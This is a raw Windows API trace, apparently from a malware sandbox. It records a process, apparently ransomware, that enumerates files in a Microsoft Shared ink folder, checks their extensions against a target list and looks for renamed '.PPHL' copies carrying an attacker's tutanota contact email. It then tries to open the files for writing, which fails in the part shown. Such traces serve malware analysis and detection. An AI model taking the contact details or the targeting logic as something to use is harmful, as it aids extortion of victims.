lstrlenW (lpString=".7z") returned 3 [0066.819] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0066.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0066.819] lstrlenW (lpString=".dbf") returned 4 [0066.819] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0066.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0066.819] lstrlenW (lpString=".1cd") returned 4 [0066.819] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0066.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0066.820] lstrlenW (lpString=".jpg") returned 4 [0066.820] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0066.820] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0066.820] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0066.820] lstrlenW (lpString=".doc") returned 4 [0066.820] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0066.820] lstrlenW (lpString=".docx") returned 5 [0066.820] lstrcmpiW (lpString1=".docx", lpString2="i.xml") returned -1 [0066.820] lstrlenW (lpString=".pdf") returned 4 [0066.820] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0066.820] lstrlenW (lpString=".xls") returned 4 [0066.820] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0066.820] lstrlenW (lpString=".xlsx") returned 5 [0066.820] lstrcmpiW (lpString1=".xlsx", lpString2="i.xml") returned -1 [0066.820] lstrlenW (lpString=".ppt") returned 4 [0066.820] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0066.820] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0066.820] lstrlenW (lpString=".zip") returned 4 [0066.820] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0066.820] lstrlenW (lpString=".rar") returned 4 [0066.820] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0066.820] lstrlenW (lpString=".bz2") returned 4 [0066.820] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0066.820] lstrlenW (lpString=".7z") returned 3 [0066.820] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0066.820] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0066.820] lstrlenW (lpString=".dbf") returned 4 [0066.820] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0066.820] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0066.820] lstrlenW (lpString=".1cd") returned 4 [0066.820] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0066.820] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0066.820] lstrlenW (lpString=".jpg") returned 4 [0066.820] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0066.821] lstrcmpiW (lpString1=".xml", lpString2=".PPHL") returned 1 [0066.821] lstrlenW (lpString="zh-phonetic.xml") returned 15 [0066.821] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0066.822] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=10947) returned 1 [0066.822] CloseHandle (hObject=0x1e8) returned 1 [0066.822] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml")) returned 0x20 [0066.822] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0066.822] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0066.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0066.822] lstrlenW (lpString=".doc") returned 4 [0066.822] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0066.822] lstrlenW (lpString=".docx") returned 5 [0066.822] lstrcmpiW (lpString1=".docx", lpString2="c.xml") returned -1 [0066.822] lstrlenW (lpString=".pdf") returned 4 [0066.822] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0066.822] lstrlenW (lpString=".xls") returned 4 [0066.822] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0066.822] lstrlenW (lpString=".xlsx") returned 5 [0066.822] lstrcmpiW (lpString1=".xlsx", lpString2="c.xml") returned -1 [0066.822] lstrlenW (lpString=".ppt") returned 4 [0066.823] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0066.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0066.823] lstrlenW (lpString=".zip") returned 4 [0066.823] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0066.823] lstrlenW (lpString=".rar") returned 4 [0066.823] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0066.823] lstrlenW (lpString=".bz2") returned 4 [0066.823] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0066.823] lstrlenW (lpString=".7z") returned 3 [0066.823] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0066.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0066.823] lstrlenW (lpString=".dbf") returned 4 [0066.823] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0066.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0066.823] lstrlenW (lpString=".1cd") returned 4 [0066.823] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0066.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0066.823] lstrlenW (lpString=".jpg") returned 4 [0066.823] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0066.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0066.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0066.823] lstrlenW (lpString=".doc") returned 4 [0066.823] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0066.823] lstrlenW (lpString=".docx") returned 5 [0066.823] lstrcmpiW (lpString1=".docx", lpString2="c.xml") returned -1 [0066.823] lstrlenW (lpString=".pdf") returned 4 [0066.823] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0066.823] lstrlenW (lpString=".xls") returned 4 [0066.823] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0066.823] lstrlenW (lpString=".xlsx") returned 5 [0066.823] lstrcmpiW (lpString1=".xlsx", lpString2="c.xml") returned -1 [0066.823] lstrlenW (lpString=".ppt") returned 4 [0066.823] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0066.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0066.824] lstrlenW (lpString=".zip") returned 4 [0066.824] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0066.824] lstrlenW (lpString=".rar") returned 4 [0066.824] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0066.824] lstrlenW (lpString=".bz2") returned 4 [0066.824] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0066.824] lstrlenW (lpString=".7z") returned 3 [0066.824] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0066.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0066.824] lstrlenW (lpString=".dbf") returned 4 [0066.824] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0066.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0066.824] lstrlenW (lpString=".1cd") returned 4 [0066.824] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0066.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0066.824] lstrlenW (lpString=".jpg") returned 4 [0066.824] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0066.824] lstrcmpiW (lpString1=".xml", lpString2=".PPHL") returned 1 [0066.824] lstrlenW (lpString="main.xml") returned 8 [0066.824] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0066.825] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=38485) returned 1 [0066.825] CloseHandle (hObject=0x1e8) returned 1 [0066.825] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml")) returned 0x20 [0066.825] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0066.825] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73 [0066.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73 [0066.825] lstrlenW (lpString=".doc") returned 4 [0066.825] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0066.825] lstrlenW (lpString=".docx") returned 5 [0066.825] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0066.825] lstrlenW (lpString=".pdf") returned 4 [0066.825] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0066.825] lstrlenW (lpString=".xls") returned 4 [0066.825] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0066.825] lstrlenW (lpString=".xlsx") returned 5 [0066.825] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0066.825] lstrlenW (lpString=".ppt") returned 4 [0066.825] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0066.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73 [0066.825] lstrlenW (lpString=".zip") returned 4 [0066.825] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0066.825] lstrlenW (lpString=".rar") returned 4 [0066.826] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0066.826] lstrlenW (lpString=".bz2") returned 4 [0066.826] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0066.826] lstrlenW (lpString=".7z") returned 3 [0066.826] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0066.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73 [0066.826] lstrlenW (lpString=".dbf") returned 4 [0066.826] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0066.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73 [0066.826] lstrlenW (lpString=".1cd") returned 4 [0066.826] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0066.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73 [0066.826] lstrlenW (lpString=".jpg") returned 4 [0066.826] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0066.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73 [0066.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73 [0066.826] lstrlenW (lpString=".doc") returned 4 [0066.826] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0066.826] lstrlenW (lpString=".docx") returned 5 [0066.826] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0066.826] lstrlenW (lpString=".pdf") returned 4 [0066.826] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0066.826] lstrlenW (lpString=".xls") returned 4 [0066.826] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0066.826] lstrlenW (lpString=".xlsx") returned 5 [0066.826] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0066.826] lstrlenW (lpString=".ppt") returned 4 [0066.826] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0066.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73 [0066.826] lstrlenW (lpString=".zip") returned 4 [0066.826] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0066.826] lstrlenW (lpString=".rar") returned 4 [0066.826] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0066.827] lstrlenW (lpString=".bz2") returned 4 [0066.827] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0066.827] lstrlenW (lpString=".7z") returned 3 [0066.827] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0066.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73 [0066.827] lstrlenW (lpString=".dbf") returned 4 [0066.827] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0066.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73 [0066.827] lstrlenW (lpString=".1cd") returned 4 [0066.827] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0066.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73 [0066.827] lstrlenW (lpString=".jpg") returned 4 [0066.827] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0066.827] lstrcmpiW (lpString1=".xml", lpString2=".PPHL") returned 1 [0066.827] lstrlenW (lpString="numbase.xml") returned 11 [0066.827] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0066.828] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=1218) returned 1 [0066.828] CloseHandle (hObject=0x1e8) returned 1 [0066.828] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml")) returned 0x20 [0066.828] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0066.828] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84 [0066.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84 [0066.828] lstrlenW (lpString=".doc") returned 4 [0066.828] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0066.828] lstrlenW (lpString=".docx") returned 5 [0066.828] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0066.828] lstrlenW (lpString=".pdf") returned 4 [0066.828] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0066.828] lstrlenW (lpString=".xls") returned 4 [0066.829] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0066.829] lstrlenW (lpString=".xlsx") returned 5 [0066.829] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0066.829] lstrlenW (lpString=".ppt") returned 4 [0066.829] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0066.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84 [0066.829] lstrlenW (lpString=".zip") returned 4 [0066.829] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0066.829] lstrlenW (lpString=".rar") returned 4 [0066.829] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0066.829] lstrlenW (lpString=".bz2") returned 4 [0066.829] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0066.829] lstrlenW (lpString=".7z") returned 3 [0066.829] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0066.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84 [0066.829] lstrlenW (lpString=".dbf") returned 4 [0066.829] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0066.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84 [0066.829] lstrlenW (lpString=".1cd") returned 4 [0066.829] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0066.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84 [0066.829] lstrlenW (lpString=".jpg") returned 4 [0066.829] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0066.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84 [0066.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84 [0066.829] lstrlenW (lpString=".doc") returned 4 [0066.829] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0066.829] lstrlenW (lpString=".docx") returned 5 [0066.829] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0066.829] lstrlenW (lpString=".pdf") returned 4 [0066.829] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0066.829] lstrlenW (lpString=".xls") returned 4 [0066.829] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0066.829] lstrlenW (lpString=".xlsx") returned 5 [0066.829] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0066.830] lstrlenW (lpString=".ppt") returned 4 [0066.830] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0066.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84 [0066.830] lstrlenW (lpString=".zip") returned 4 [0066.830] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0066.830] lstrlenW (lpString=".rar") returned 4 [0066.830] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0066.830] lstrlenW (lpString=".bz2") returned 4 [0066.830] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0066.830] lstrlenW (lpString=".7z") returned 3 [0066.830] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0066.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84 [0066.830] lstrlenW (lpString=".dbf") returned 4 [0066.830] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0066.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84 [0066.830] lstrlenW (lpString=".1cd") returned 4 [0066.830] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0066.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84 [0066.830] lstrlenW (lpString=".jpg") returned 4 [0066.830] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0066.830] lstrcmpiW (lpString1=".xml", lpString2=".PPHL") returned 1 [0066.830] lstrlenW (lpString="numbers.xml") returned 11 [0066.830] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0066.831] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=209) returned 1 [0066.831] CloseHandle (hObject=0x1e8) returned 1 [0066.832] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml")) returned 0x20 [0066.832] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0066.832] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76 [0066.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76 [0066.832] lstrlenW (lpString=".doc") returned 4 [0066.832] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0066.832] lstrlenW (lpString=".docx") returned 5 [0066.832] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0066.832] lstrlenW (lpString=".pdf") returned 4 [0066.832] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0066.832] lstrlenW (lpString=".xls") returned 4 [0066.832] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0066.832] lstrlenW (lpString=".xlsx") returned 5 [0066.832] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0066.832] lstrlenW (lpString=".ppt") returned 4 [0066.832] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0066.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76 [0066.832] lstrlenW (lpString=".zip") returned 4 [0066.832] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0066.832] lstrlenW (lpString=".rar") returned 4 [0066.832] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0066.832] lstrlenW (lpString=".bz2") returned 4 [0066.832] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0066.832] lstrlenW (lpString=".7z") returned 3 [0066.832] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0066.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76 [0066.832] lstrlenW (lpString=".dbf") returned 4 [0066.832] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0066.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76 [0066.833] lstrlenW (lpString=".1cd") returned 4 [0066.833] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0066.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76 [0066.833] lstrlenW (lpString=".jpg") returned 4 [0066.833] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0066.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76 [0066.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76 [0066.833] lstrlenW (lpString=".doc") returned 4 [0066.833] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0066.833] lstrlenW (lpString=".docx") returned 5 [0066.833] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0066.833] lstrlenW (lpString=".pdf") returned 4 [0066.833] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0066.833] lstrlenW (lpString=".xls") returned 4 [0066.833] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0066.833] lstrlenW (lpString=".xlsx") returned 5 [0066.833] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0066.833] lstrlenW (lpString=".ppt") returned 4 [0066.833] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0066.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76 [0066.833] lstrlenW (lpString=".zip") returned 4 [0066.833] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0066.833] lstrlenW (lpString=".rar") returned 4 [0066.833] 